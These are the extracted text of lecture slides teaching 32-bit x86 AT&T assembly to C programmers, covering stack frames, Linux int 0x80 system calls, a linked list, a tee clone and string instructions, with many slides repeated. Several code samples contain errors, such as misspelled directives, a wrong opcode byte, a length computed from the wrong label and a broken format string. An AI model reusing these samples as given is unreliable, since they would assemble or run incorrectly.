- We provide a main and also a return back to libc with ret and a return value in %eax.
- libc exit()’s with this value.
Entry Points

libc Entry Point

- When we link with libc, it provides its own \_start to do some initialization, which eventually will call main
- We provide a main and also a return back to libc with ret and a return value in %eax
- libc exit()’s with this value

```assembly
.section .text
.global main
main:
    nop
    nop
    movl $3, %eax  # Return 3!
    ret
```

$ as test.S -o test.o
$ gcc test.o -o test  # Use gcc to invoke ld to link with libc
$ ./test
$ echo $?
3
$
Program Example: 99 Bottles of Beer on the Wall
.section .text
.global main
main:
    movl $99, %eax  # Start with 99 bottles!
    # We could use a cdecl callee preserved register,
    # but we’ll make it hard on ourselves to practice
    # caller saving/restoring

    # printf(char *format, ...);

more_beer:
    # Save %eax since it will get used by printf()
    pushl %eax

    # printf(formatStr1, %eax, %eax);
    pushl %eax
    pushl %eax
    pushl $formatStr1  # *Address* of formatStr1
    call printf
    addl $12, %esp     # Clean up the stack

    # Restore %eax
    popl %eax
    # Drink a beer
    decl %eax
```x86 Assembly
# Save %eax
pushl %eax

# printf(formatStr2, %eax);
pushl %eax
pushl $formatStr2  # *Address* of formatStr2
call printf
addl $8, %esp  # Clean up the stack

# Restore %eax
popl %eax

# Loop
test %eax, %eax
jnz more_beer

# printf(formatStr3);
pushl $formatStr3
call printf
addl $4, %esp

movl $0, %eax
ret
```
Program Example: 99 Bottles of Beer on the Wall

99 Bottles of Beer on the Wall (99_bottles_of_beer.S)

```assembly
.section .data
    formatStr1:
    .ascii "%d bottles of beer on the wall! %d bottles of beer!\n\0"
    formatStr2:
    .ascii "Take one down, pass it around, %d bottles of beer on the wall!\n\0"
    formatStr3:
    .ascii "No more bottles of beer on the wall!\n\0"
```
Program Example: 99 Bottles of Beer on the Wall

$ as 99_bottles_of_beer.S -o 99_bottles_of_beer.o
$ gcc 99_bottles_of_beer.o -o 99_bottles_of_beer
$ ./99_bottles_of_beer
99 bottles of beer on the wall! 99 bottles of beer!
Take one down, pass it around, 98 bottles of beer on the wall!
98 bottles of beer on the wall! 98 bottles of beer!
Take one down, pass it around, 97 bottles of beer on the wall!
97 bottles of beer on the wall! 97 bottles of beer!
...
3 bottles of beer on the wall! 3 bottles of beer!
Take one down, pass it around, 2 bottles of beer on the wall!
2 bottles of beer on the wall! 2 bottles of beer!
Take one down, pass it around, 1 bottles of beer on the wall!
1 bottles of beer on the wall! 1 bottles of beer!
Take one down, pass it around, 0 bottles of beer on the wall!
No more bottles of beer on the wall!
$
Topic 8: Stack Frames
Where did that argument go?

- Referring to arguments with %esp in a function is easy, until you start moving around %esp itself.

```assembly
pushl $5
call doSomething
addl $4, %esp
```

```assembly
doSomething:
    # Stack is now
    # | ... |
    # | 5   | <- %esp+4
    # | retaddr | <- %esp
    # Argument is at %esp+4

subl $12, %esp  # Allocate 12 bytes on the stack
```

```assembly
    # Stack is now
    # | ... |
    # | 5   | <- %esp+16
    # | retaddr | <- %esp+12
    # | local var | <- %esp+8
    # | local var | <- %esp+4
    # | local var | <- %esp
    # Argument is now at %esp+16 !
```
Frame Pointer

- What if we had an anchor point in our stack at the start of our function?
- We could have constant offsets above to arguments and below to allocated variables from the anchor point.
Frame Pointer

- What if we had an anchor point in our stack at the start of our function?
- We could have constant offsets above to arguments and below to allocated variables from the anchor point
- This is the conventional role of register %ebp, the frame pointer (also called base pointer)
Frame Pointer Prologue

```assembly
pushl $5
call doSomething
addl $4, %esp
...
doSomething:
pushl %ebp       # Function is responsible for saving this in cdecl!
movl %esp, %ebp  # Anchor %ebp at the current %esp
# Stack is now
# | ... |
# | 5   | <- %esp+8  %ebp+8
# | retaddr | <- %esp+4  %ebp+4
# | old %ebp | <- %esp  %ebp
# Argument is at %ebp+8

subl $12, %esp  # Allocate 12 bytes on the stack
# Stack is now
# | ... |
# | 5   | <- %esp+20  %ebp+8
# | retaddr | <- %esp+16  %ebp+4
# | old %ebp | <- %esp+12  %ebp
# | local var | <- %esp+8  %ebp-4
# | local var | <- %esp+4  %ebp-8
# | local var | <- %esp  %ebp-12
# Argument is still always at %ebp+8
# Allocated memory always at %ebp-4, %ebp-8, %ebp-12
```
Frame Pointer Epilogue

- To have a valid return address on the stack, we must reset %esp to its previous value and pop the saved frame pointer.
- This conveniently also deallocates any space we allocated on the stack.

```assembly
movl %ebp, %esp  # Restore %esp, deallocating space on the stack
popl %ebp       # Restore the frame pointer
ret             # Return
```
Stack Frame in a Nutshell

**Function Prologue:**
- pushl %ebp
- movl %esp, %ebp

**Function Body**
- argument 2  %ebp+12
- argument 1  %ebp+8
- retaddr     %ebp+4
- old frame ptr %ebp
- local var   %ebp-4
- local var   %ebp-8

**Function Epilogue:**
- movl %ebp, %esp
- popl %ebp
- ret

%esp = 0xbfffe25c
Example using the Frame Pointer (example-ebp.S)

```assembly
.section .text
_start:
    pushl $22
    pushl $20
    pushl $42
    pushl $3
    call sumNumbers
    addl $16, %esp
    # %eax is now 84

# sumNumbers(int n, ...)
sumNumbers:
    # Function prologue, save old frame pointer and setup new one
    pushl %ebp
    movl %esp, %ebp

    movl $0, %eax  # Clear %eax
    movl $0, %ecx  # Clear %ecx
    movl 8(%ebp), %edx  # Copy argument 1, n, into %edx
```
Example using the Frame Pointer (example-ebp.S)

sumLoop:
    # Add argument 2, 3, 4, ... n+1 in %eax
    # Argument 2 starts at %ebp+12
    addl 12(%ebp, %ecx, 4), %eax
    incl %ecx

    # Loop
    decl %edx
    jnz sumLoop

    # Function epilogue, deallocate and restore old frame pointer
    movl %ebp, %esp
    popl %ebp
    ret
Example using the Frame Pointer (example-ebp.S) Disassembly

$ as example-ebp.S -o example-ebp.o
$ ld example-ebp.o -o example-ebp
$ objdump -D example-ebp

Disassembly of section .text:

08048054 <_start>:
 8048054: 6a 16 push $0x16
 8048056: 6a 14 push $0x14
 8048058: 6a 2a push $0x2a
 804805a: 6a 03 push $0x3
 804805c: e8 03 00 00 00 call 8048064 <sumNumbers>
 8048061: 83 c4 10 add $0x10,%esp

08048064 <sumNumbers>:
 8048064: 55 push %ebp
 8048065: 89 e5 mov %esp,%ebp
 8048067: b8 00 00 00 00 mov $0x0,%eax
 804806c: b9 00 00 00 00 mov $0x0,%ecx
 8048071: 8b 55 08 mov 0x8(%ebp),%edx

08048074 <sumLoop>:
 8048074: 03 44 8d 0c add 0xc(%ebp,%ecx,4),%eax
 8048078: 41 inc %ecx
 8048079: 4a dec %edx
 804807a: 75 f8 jne 8048074 <sumLoop>
 804807c: 89 ec mov %ebp,%esp
 804807e: 5d pop %ebp
 804807f: c3 ret
Topic 9: Command-line Arguments
** argc and **argv on the stack**

- In the _start entry point, first argument on the stack is argc, followed by argv[0], argv[1], ...

```
.section .text
.global _start
_start:
pushl %ebp
movl %esp, %ebp
# argc is at %ebp+4, argv[0] is at %ebp+8, argv[1] is at %ebp+12
```

- In the main entry point with libc, argc, **argv will be on the stack after the return address to libc, we have to dereference to get to the args!

```
.section .text
.global main
main:
pushl %ebp
movl %esp, %ebp
# return address to libc is at %ebp+4
# argc is at %ebp+8, **argv is at %ebp+12
# *argv[0] = *(%ebp+12), *argv[1] = *(%ebp+12)+4
```
Program Example: Linked List
Program Example: Linked List

Linked List (linked_list.S)

```assembly
.section .text
.global main

# struct list { int data; struct list *next; };  
#  
#  [ int data; ][ list *next; ]  8 bytes total
#  \ 4 bytes / \ 4 bytes /

# list *list_alloc(int data);
list_alloc:
pushl $8  # %eax = malloc(8);
call malloc
addl $4, %esp

testl %eax, %eax  # if (%eax == NULL)
jz fatal  
# goto fatal;

movl 4(%esp), %ecx
movl %ecx, (%eax)  # %eax->data = data
movl $0, 4(%eax)  # %eax->next = 0
ret

# Dirty error handling
fatal:
jmp fatal
```

x86 Assembly Primer for C Programmers
Program Example: Linked List

***Linked List (linked_list.S) Continued***

```c
# void list_add(list *head, int data);
list_add:
    push %ebp
    mov %esp, %ebp
    subl $4, %esp  # list *n;

    pushl 12(%ebp)  # %eax = list_alloc(data);
    call list_alloc
    addl $4, %esp
    mov %eax, -4(%ebp)  # n = %eax;

    mov 8(%ebp), %eax  # %eax = head

traverse_add:
    cmpl $0, 4(%eax)  # if (%eax->next == NULL)
    jz at_end_add  # goto at_end_add;
    movl 4(%eax), %eax  # %eax = %eax->next
    jmp traverse_add  # Loop

at_end_add:
    movl -4(%ebp), %ecx  # %ecx = n
    movl %ecx, 4(%eax)  # %eax->next = %ecx

    mov %ebp, %esp
    pop %ebp
    ret
```
# void list_dump(list *head);
list_dump:
    push %ebp
    mov %esp, %ebp

    pushl %ebx  # Save %ebx
    movl 8(%ebp), %ebx  # %ebx = head

traverse_dump:
    testl %ebx, %ebx  # if (%ebx == NULL)
    jz at_end_dump  # goto at_end_dump;

    movl (%ebx), %ecx  # %ecx = %ebx->data
    pushl %ecx  # printf("%d\n", %ecx)
    pushl $fmtStr
    call printf
    addl $8, %esp

    movl 4(%ebx), %ebx  # %ebx = %ebx->next
    jmp traverse_dump  # Loop

at_end_dump:
    pop %ebx  # Restore %ebx
    mov %ebp, %esp
    pop %ebp
    ret
Program Example: Linked List

Linked List (linked_list.S) Continued

main:
    pushl $86          # %eax = list_alloc(86);
    call list_alloc
    addl $4, %esp
    movl %eax, head   # head = %eax

    pushl $75          # list_add(head, 75);
    pushl head
    call list_add
    addl $8, %esp

    pushl $309         # list_add(head, 309);
    pushl head
    call list_add
    addl $8, %esp

    pushl head          # list_dump(head);
    call list_dump
    addl $4, %esp

    movl $0, %eax      # Return 0
    ret

.section .data
head:     .long 0
fmtStr:   .ascii "%d\n0"
Program Example: Linked List

Linked List (linked_list.S) Runtime

$ as linked_list.S -o linked_list.o
$ gcc linked_list.o -o linked_list
$ ./linked_list
86
75
309
$
Lingering Questions?
Topic 10: System Calls
Topic 10: System Calls

The User Program Condition

- Monolithic kernel like Linux completely sandboxes a user program
  - User program executes at a lower CPU privilege
  - Virtual memory hides other programs, restricts access to kernel memory and memory-mapped I/O
The User Program Condition

- Monolithic kernel like Linux completely sandboxes a user program
  - User program executes at a lower CPU privilege
  - Virtual memory hides other programs, restricts access to kernel memory and memory-mapped I/O

- User program can effectively only do pure computation and manipulate user memory mapped by the OS
The User Program Condition

- Monolithic kernel like Linux completely sandboxes a user program
  - User program executes at a lower CPU privilege
  - Virtual memory hides other programs, restricts access to kernel memory and memory-mapped I/O

- User program can effectively only do pure computation and manipulate user memory mapped by the OS
Interrupts and System Calls

- CPU is capable of servicing hardware and software interrupts
  - timer tick, DMA exchange complete, divide-by-zero
Interrupts and System Calls

- CPU is capable of servicing hardware and software interrupts
  - timer tick, DMA exchange complete, divide-by-zero
- External interrupts can happen asynchronously — are not polled — and **interrupt** current program
CPU is capable of servicing hardware and software interrupts
- timer tick, DMA exchange complete, divide-by-zero
- External interrupts can happen asynchronously — are not polled — and interrupt current program
- CPU saves current state in an architecture-specific way, switches to privileged mode, and jumps to the interrupt handler in the kernel
Interrupts and System Calls

- CPU is capable of servicing hardware and software interrupts
  - timer tick, DMA exchange complete, divide-by-zero
- External interrupts can happen asynchronously — are not polled — and interrupt current program
- CPU saves current state in an architecture-specific way, switches to privileged mode, and jumps to the interrupt handler in the kernel
- Software interrupt, instruction int <number>, provides a mechanism to make a request to the kernel to do something user program cannot
  - System call
System Call Interface

Application

User Space

System Call Interface

Kernel Space

Processes

Virtual Memory

Network Stack

Drivers

IPC

Scheduling

File System

Hardware
Currently 346 system calls

Common ones are exit(), read(), write(), open(), close(), ioctl(), fork(), execve(), etc.
Currently 346 system calls

Common ones are `exit()`, `read()`, `write()`, `open()`, `close()`, `ioctl()`, `fork()`, `execve()`, etc.

- Get more obscure as the system call number goes up
- less /usr/include/asm/unistd_32.h
- man 2 syscalls
Linux System Calls

- Currently 346 system calls
- Common ones are `exit()`, `read()`, `write()`, `open()`, `close()`, `ioctl()`, `fork()`, `execve()`, etc.
  - Get more obscure as the system call number goes up
  - `less /usr/include/asm/unistd_32.h`
  - `man 2 syscalls`
- Operating System specific convention for making a system call
  - `system call number in %eax`
  - `arguments in order %ebx, %ecx, %edx, %esi, %edi`
  - `invoke software interrupt with vector 0x80: int $0x80`
  - `return value in %eax`
  - `All registers preserved except for %eax`
  - `Passes arguments in registers, not the stack like cdecl`
Current 346 system calls

Common ones are exit(), read(), write(), open(), close(), ioctl(), fork(), execve(), etc.

Get more obscure as the system call number goes up

less /usr/include/asm/unistd_32.h

man 2 syscalls

Operating System specific convention for making a system call

On Linux it is:

- system call number in %eax
- arguments in order %ebx, %ecx, %edx, %esi, %edi
- invoke software interrupt with vector 0x80: int $0x80
- return value in %eax
Linux System Calls

- Currently 346 system calls
- Common ones are `exit()`, `read()`, `write()`, `open()`, `close()`, `ioctl()`, `fork()`, `execve()`, etc.
  - Get more obscure as the system call number goes up
  - less `/usr/include/asm/unistd_32.h`
  - man 2 `syscall`

- Operating System specific convention for making a system call
  - On Linux it is:
    - system call number in `%eax`
    - arguments in order `%ebx`, `%ecx`, `%edx`, `%esi`, `%edi`
    - invoke software interrupt with vector 0x80: `int $0x80`
    - return value in `%eax`

- All registers preserved except for `%eax`
- Passes arguments in registers, not the stack like cdecl
### Linux Syscall Reference

<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>Registers</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>sys_restart_syscall</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>kernel/signal.c:2058</code></td>
</tr>
<tr>
<td>1</td>
<td>sys_exit</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>kernel/exit.c:1046</code></td>
</tr>
<tr>
<td>2</td>
<td>sys_fork</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>arch/alpha/kernel/entry.S:716</code></td>
</tr>
<tr>
<td>3</td>
<td>sys_read</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>fs/read_write.c:391</code></td>
</tr>
<tr>
<td>4</td>
<td>sys_write</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>fs/read_write.c:408</code></td>
</tr>
<tr>
<td>5</td>
<td>sys_open</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>fs/open.c:900</code></td>
</tr>
<tr>
<td>6</td>
<td>sys_close</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>fs/open.c:969</code></td>
</tr>
<tr>
<td>7</td>
<td>sys_waitpid</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>kernel/exit.c:1771</code></td>
</tr>
<tr>
<td>8</td>
<td>sys_creat</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>fs/open.c:933</code></td>
</tr>
<tr>
<td>9</td>
<td>sys_link</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>fs/namel.c:2520</code></td>
</tr>
<tr>
<td>10</td>
<td>sys_unlink</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>fs/namel.c:2352</code></td>
</tr>
<tr>
<td>11</td>
<td>sys_execve</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>arch/alpha/kernel/entry.S:925</code></td>
</tr>
<tr>
<td>12</td>
<td>sys_chdir</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>fs/open.c:361</code></td>
</tr>
<tr>
<td>13</td>
<td>sys_time</td>
<td>eax, ebx, ecx, edx, esi, edi</td>
<td><code>kernel/posix-timers.c:855</code></td>
</tr>
</tbody>
</table>
.section .text
_start:
    # syscall open("foo", O_CREAT | O_WRONLY, 0644);
    movl $0x05, %eax
    movl $filename, %ebx
    movl $0x41, %ecx
    movl $0644, %edx
    int $0x80

    # fd in %eax from open(), move it to %ebx for write()
    movl %eax, %ebx

    # syscall write(fd, message, messageLen);
    movl $0x04, %eax
    # fd in %ebx from above
    movl $message, %ecx
    movl $messageLen, %edx
    int $0x80

    # syscall close(fd);
    movl $0x06, %eax
    # fd still in %ebx
    int $0x80
Example System Calls (example-syscall.S)

```assembly
# syscall exit(0);
movl $0x01, %eax
movl $0x0, %ebx
int $0x80

.section .data
filename: .ascii "foo\0"
message: .ascii "Hello World!\n"
.equ messageLen, . - message
```
Example System Calls (example-syscall.S) Runtime

$ as example-syscall.S -o example-syscall.o
$ ld example-syscall.o -o example-syscall
$ ./example-syscall
$ cat foo
Hello World!
$
Topic 10: System Calls

Example System Calls (example-syscall.S) Disassembly

$ as example-syscall.S -o example-syscall.o
$ ld example-syscall.o -o example-syscall
$ ojbdump -D example-syscall

Disassembly of section .text:

08048074 <_start>:

08048074: b8 05 00 00 00 mov $0x5,%eax
08048079: bb b0 90 04 08 mov $0x80490b0,%ebx
0804807e: b9 41 00 00 00 mov $0x41,%ecx
08048083: ba a4 01 00 00 mov $0x1a4,%edx
08048088: cd 80 int $0x80
0804808a: 89 c3 mov %eax,%ebx
0804808c: b8 04 00 00 00 mov $0x4,%eax
08048091: bb 00 00 00 00 mov $0x0,%ebx
08048096: ba 0d 00 00 00 mov $0xd,%edx
0804809b: cd 80 int $0x80
0804809d: b8 06 00 00 00 mov $0x6,%eax
080480a2: cd 80 int $0x80
080480a4: b8 01 00 00 00 mov $0x1,%eax
080480a9: bb 00 00 00 00 mov $0x0,%ebx
080480ae: cd 80 int $0x80

Disassembly of section .data:

080490b0 <filename>:

080490b0: 66 6f outsw %ds:(%esi),(%dx)

...
Program Example: tee
Program Example: tee

tee (tee.S)

# Tee (tee.S)
.section .text
_start:
    push %ebp
    mov %esp, %ebp

    subl $4, %esp       # int fd; on the stack

    cmpl $2, 4(%ebp)    # if (argc != 2)
    jne tee_usage       # goto tee_usage;

    tee_open:
    # syscall open(argv[1], O_CREAT|O_WRONLY|O_TRUNC, 0644);
    movl $0x05, %eax
    movl 12(%ebp), %ebx
    movl $0x241, %ecx
    movl $0644, %edx
    int $0x80

    cmpl $0, %eax       # if (%eax < 0)
    jl tee_exit         # goto tee_exit;

    movl %eax, -4(%ebp) # fd = %eax
tee_loop:
    # Read from input: syscall read(0, &c, 1);
    movl $3, %eax
    movl $0, %ebx
    movl $c, %ecx
    movl $1, %edx
    int $0x80

    cmpl $1, %eax    # if (%eax < 1)
    jl tee_exit      # goto tee_exit;

    # Write to file: syscall write(fd, &c, 1);
    movl $4, %eax
    movl -4(%ebp), %ebx
    movl $c, %ecx
    movl $1, %edx
    int $0x80
    # Write to stdout: syscall write(1, &c, 1);
    movl $4, %eax
    movl $1, %ebx
    movl $c, %ecx
    movl $1, %edx
    int $0x80
    jmp tee_loop     # Loop
Program Example: tee

tee (tee.S) Continued

tee_usage:
# syscall write(1, usageStr, usageStrLen);
movl $4, %eax
movl $1, %ebx
movl $usageStr, %ecx
movl usageStrLen, %edx
int $0x80

tee_exit:
# syscall exit(0);
movl $1, %eax
movl $0, %ebx
int $0x80

.section .rodata
# Usage string and length
usageStr: .ascii "/tee <file>\n"
.equ usageStrLen, . - message

.section .bss
# Read character var
.comm c, 1
Program Example: tee

**tee (tee.S) Runtime**

```
$ as tee.S -o tee.o
$ ld tee.o -o tee

# Count total number of syscalls while generating a "CSV syscall,no" list

$ egrep "NR.\*" -o /usr/include/asm/unistd_32.h |
    cut -b 4- | sed ’s/ /,/’ | ./tee syscalls.txt | wc
    346 346 4604
$ cat syscalls.txt
restart_syscall,0
exit,1
fork,2
read,3
write,4
open,5
close,6
waitpid,7
creat,8
link,9
unlink,10
...```
Advanced Topic 11: Role of libc
**libc for library functions and system calls**

- **libc** provides optimized string, formatting, pattern matching, math, date and time, etc. computation functions
- **libc** wraps system calls and provides more-so platform independent data structures and interfaces
  - file streams: `FILE *`, `fopen()`, `fclose()`, `fread()`, `fwrite()`
  - sockets: `socket()`, `bind()`, `accept()`, `send()`, `recv()`
- In other words, **libc** implements the C library of the POSIX standard
Advanced Topic 11: Role of libc

**libc for library functions and system calls**

- libc provides optimized string, formatting, pattern matching, math, date and time, etc. computation functions
- libc wraps system calls and provides more-so platform independent data structures and interfaces
  - file streams: FILE *, fopen(), fclose(), fread(), fwrite()
  - sockets: socket(), bind(), accept(), send(), recv()
- In other words, libc implements the C library of the POSIX standard
- You can choose not to link with libc, only use syscalls, and implement the other functionality yourself (interesting challenge)
Advanced Topic 11: Role of libc

**libc for library functions and system calls**

- libc provides optimized string, formatting, pattern matching, math, date and time, etc. computation functions
- libc wraps system calls and provides more-so platform independent data structures and interfaces
  - file streams: FILE *, fopen(), fclose(), fread(), fwrite()
  - sockets: socket(), bind(), accept(), send(), recv()
- In other words, libc implements the C library of the POSIX standard
- You can choose not to link with libc, only use syscalls, and implement the other functionality yourself (interesting challenge)
- Some I/O operations will be more efficient through libc than direct system calls, due to buffering in user space
**Advanced Topic 11: Role of libc**

**libc for dynamic memory management (heap)**

- Operating system allocates heap memory for user program
- libc `malloc()` and `free()` manages allocations, deallocations, fragmentation of the heap
- Heap grows up, stack grows down
Some Overlooked Registers

(Plus some OS-relevant registers)

Segment registers
%cs, %ds, %ss, %es, %fs, %gs

%eip %ebp %esp %edi %esi %edi %eax %ebx %ecx %edx %eax %ah %al %ax %bh %bl %bx %ch %cl %cx %dh %dl %dx %si %di %sp %df %cf

%eflags
Advanced Topic 12: x86 String Operations

Special Instructions for %esi and %edi

- We’ve seen push and pop instructions which manipulate %esp in a special way.
- Special string instructions exist for %esi and %edi:
  - %esi is the source string pointer
  - %edi is the destination string pointer

Instruction size suffix (b, w, l) determines copy, compare, move size and post-increment amount (1, 2, 4).
DF flag in %eflags determines if it is a post-increment (DF=0) or post-decrement (DF=1).
Advanced Topic 12: x86 String Operations

Special Instructions for %esi and %edi

- We’ve seen push and pop instructions which manipulate %esp in a special way
- Special string instructions exist for %esi and %edi
  - %esi is the source string pointer
  - %edi is the destination string pointer
- movs does *%edi++ = *%esi++
- cmps does cmp %esi++, %edi++
- scas does cmp %eax, %edi++
- lods does mov %esi++, %eax
- stos does mov %eax, %edi++
Special Instructions for %esi and %edi

- We’ve seen push and pop instructions which manipulate %esp in a special way.
- Special string instructions exist for %esi and %edi:
  - %esi is the source string pointer
  - %edi is the destination string pointer
- `movs` does: 
  \[*%edi++ = *%esi++\]
- `cmps` does: 
  \[cmp %esi++, %edi++\]
- `scas` does: 
  \[cmp %eax, %edi++\]
- `lods` does: 
  \[mov %esi++, %eax\]
- `stos` does: 
  \[mov %eax, %edi++\]

- Instruction size suffix b, w, l determines copy, compare, move size and post-increment amount (1, 2, 4).
- DF flag in %eflags determines if it is a post-increment (DF=0) or post-decrement (DF=1).
Example 1 of String Instructions (example-string1.S)

```
.sect .text

.cld # Clear DF, we want to post-increment

# Load str1 with 8 of 0xff

movl $str1, %edi # Set up our string destination pointer

# Load the first four a byte at a time
movb $0xFF, %al
stosb # *(%edi++) = %al
stosb # *(%edi++) = %al
stosb # *(%edi++) = %al
stosb # *(%edi++) = %al

# Load the last four with a single dword
movl $0xFFFFFFFF, %eax
stosl # *(%edi) = %eax, %esi += 4

# Copy str1 to str2
movl $str1, %esi # str1 in the source
movl $str2, %edi # str2 in the destination
# Two dword moves copies all 8 bytes
movsl
movsl
# Done!
```
.section .bss
  .comm str1, 8
  .comm str2, 8
Repeat Prefix for String Instructions

- String instructions can be prefixed by
  - `rep`, `repe/repz`, `repne/repnz`
- `rep <string instr>`
  - repeat the string instruction until `%ecx` is 0
- `repe/repz <string instr>`
  - repeat the string instruction until `%ecx` is 0 or ZF flag is 0
- `repne/repnz <string instr>`
  - repeat the string instruction until `%ecx` is 0 or ZF flag is 1
- `%ecx` automatically decremented for you
Repeat Prefix for String Instructions

- String instructions can be prefixed by
  - `rep, repe/repz, repne/repnz`
- `rep <string instr>`
  - repeat the string instruction until %ecx is 0
- `repe/repz <string instr>`
  - repeat the string instruction until %ecx is 0 or ZF flag is 0
- `repne/repnz <string instr>`
  - repeat the string instruction until %ecx is 0 or ZF flag is 1
- %ecx automatically decremented for you

- Simple, inefficient `memset()`: `rep stosb`
- Simple, inefficient `memcpy()`: `rep movsb`
- Simple, inefficient `strlen()`: `repne scasb`
- Simple, inefficient `strncmp()`: `repe cmpsb`
- Can be better optimized for memory alignment and scan/copy size
Example 2 of String Instructions (example-string2.S)

```assembly
.sectiion .text
.global main
main:
  # memset(str, 'A', 48);
  pushl $48
  pushl $'A'
  pushl $str
  call asm_memset
  addl $12, %esp

  # str[48] = '\n'; str[49] = '\0';
  movb $'\n', str+48
  movb $0, str+49

  # printf(str);
  pushl $str
  call printf
  addl $4, %esp

ret
```
Example 2 of String Instructions (example-string2.S) Continued

```assembly
# void *memset(void *s, int c, size_t n);
asm_memset:
pushl %edi
pushl %ebp
movl %esp, %ebp

movl 12(%ebp), %edi  # %edi = s
tmovl 16(%ebp), %eax  # %eax = c
movl 20(%ebp), %ecx  # %ecx = n

rep stosb

movl 12(%ebp), %eax  # %eax = s

movl %ebp, %esp
popl %ebp
popl %edi
ret

.section .bss
.comm str, 50
```
Example 2 of String Instructions (example-string2.S) Runtime

```bash
$ as example-string2.S -o example-string2
$ gcc example-string2.o -o example-string2
$ ./example-string2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$
Back to the opening glibc strlen example

```
080483cd <glibc_strlen>:
  80483cd: 57           push  %edi
  80483ce: b9 ff ff ff ff mov   $0xffffffff,%ecx
  80483d3: b8 00 00 00 00 mov   $0x0,%eax
  80483d8: 8b 7c 24 08 mov 0x8(%esp),%edi
  80483dc: fc            cld
  80483dd: f2 ae         repnz scas %es:(%edi),%al
  80483df: b8 fe ff ff ff mov $0xfffffffffe,%eax
  80483e4: 29 c8         sub  %ecx,%eax
  80483e6: 5f            pop  %edi
  80483e7: c3            ret

- Trick is to load %ecx with -1 or 0xffffffff
- Assumption: string is not longer than 4 gigabytes
- Reasonable assumption on 32-bit system
```
Advanced Topic 13: Three Simple Optimizations
Three Basic Optimizations

- Clear a register with `xor` rather than a `mov`

<table>
<thead>
<tr>
<th></th>
<th>x86 Assembly</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0:</td>
<td>a1 00 00 00 00</td>
<td><code>movl $0x0,%eax</code></td>
</tr>
<tr>
<td>0:</td>
<td>31 c0</td>
<td><code>xorl %eax,%eax</code></td>
</tr>
</tbody>
</table>

- Use `lea` for general purpose arithmetic when applicable
  
  `lea` calculates the indirect memory address:
  
  %reg + %reg*(1,2,4,8) + $constant

  \# Compute expression: %eax + %ebx*2 + 10
  
  `leal 10(%eax, %ebx, 2), %eax`

- Use a more efficient loop structure when possible
  
  ```
  # for (i = 0; i < 10; i++) { ; } 
  xorl %ecx, %ecx
  loop:
  cmpl $10, %ecx
  jge loop_done
  nop
  incl %ecx
  jmp loop
  loop_done:
  # i = 10; do { ; } while(--i != 0);
  movl $10, %ecx
  loop:
  nop
  decl %ecx
  jnz loop
  ```
Three Basic Optimizations

- **Clear a register with xor rather than a mov**
  
  ```assembly
  0: a1 00 00 00 00  movl  $0x0,%eax
  0: 31 c0  xorl %eax,%eax
  ```

- **Use lea for general purpose arithmetic when applicable**
  
  - lea calculates the indirect memory address
    
    `%reg + %reg*(1,2,4,8) + $constant`
    
    and stores the effective address without dereferencing memory
  
  ```assembly
  # Compute expression: %eax + %ebx*2 + 10
  leal 10(%eax, %ebx, 2), %eax
  ```
Three Basic Optimizations

- **Clear a register with `xor` rather than a `mov`**

  ```
  0: a1 00 00 00 00    movl $0x0,%eax
  0: 31 c0            xorl %eax,%eax
  ```

- **Use `lea` for general purpose arithmetic when applicable**
  - `lea` calculates the indirect memory address
    
    \[
    \text{%reg + %reg} \times (1,2,4,8) + \text{constant}
    \]
    
    and stores the effective address without dereferencing memory
  
  ```
  # Compute expression: %eax + %ebx\times2 + 10
  leal 10(%eax, %ebx, 2), %eax
  ```

- **Use a more efficient loop structure when possible**

  ```
  # for (i = 0; i < 10; i++) { ; }
  xorl %ecx, %ecx
  loop:
    cmpl $10, %ecx
    jge loop_done
    nop
    incl %ecx
    jmp loop
  loop_done:

  # i = 10; do { ; } while(--i != 0);
  movl $10, %ecx
  loop:
    nop
    decl %ecx
    jnz loop
  ```
Advanced Topic 14: x86 Extensions
Overview

- Separate instruction sets
- x87 floating point unit
  - 80-bit double-extended precision floating point registers
  - add, subtract, multiply, divide, square root, round, cosine, sine, compare, load/store, etc. for floating point numbers
Overview

- Separate instruction sets
- x87 floating point unit
  - 80-bit double-extended precision floating point registers
  - add, subtract, multiply, divide, square root, round, cosine, sine, compare, load/store, etc. for floating point numbers
- Single Instruction Multiple Data (SIMD) instruction sets like MMX, SSE, SSE2, SSE3, SSE4, ...
  - Single instruction carries out an operation (add, subtract, etc.) on multiple data blocks, a vector
  - MMX was a SIMD instruction set for integers
Overview

- Separate instruction sets
- x87 floating point unit
  - 80-bit double-extended precision floating point registers
  - add, subtract, multiply, divide, square root, round, cosine, sine, compare, load/store, etc. for floating point numbers
- Single Instruction Multiple Data (SIMD) instruction sets like MMX, SSE, SSE2, SSE3, SSE4, ...
  - Single instruction carries out an operation (add, subtract, etc.) on multiple data blocks, a vector
  - MMX was a SIMD instruction set for integers
  - SSE is SIMD instruction set for integers and floating point
Overview

- Separate instruction sets
- x87 floating point unit
  - 80-bit double-extended precision floating point registers
  - add, subtract, multiply, divide, square root, round, cosine, sine, compare, load/store, etc. for floating point numbers
- Single Instruction Multiple Data (SIMD) instruction sets like MMX, SSE, SSE2, SSE3, SSE4, ...
  - Single instruction carries out an operation (add, subtract, etc.) on multiple data blocks, a vector
  - MMX was a SIMD instruction set for integers
  - SSE is SIMD instruction set for integers and floating point
  - SSE1 had 32-bit single precision floating point support
  - SSE2 added 64-bit double precision floating point support
Overview

- Separate instruction sets
- x87 floating point unit
  - 80-bit double-extended precision floating point registers
  - add, subtract, multiply, divide, square root, round, cosine, sine, compare, load/store, etc. for floating point numbers
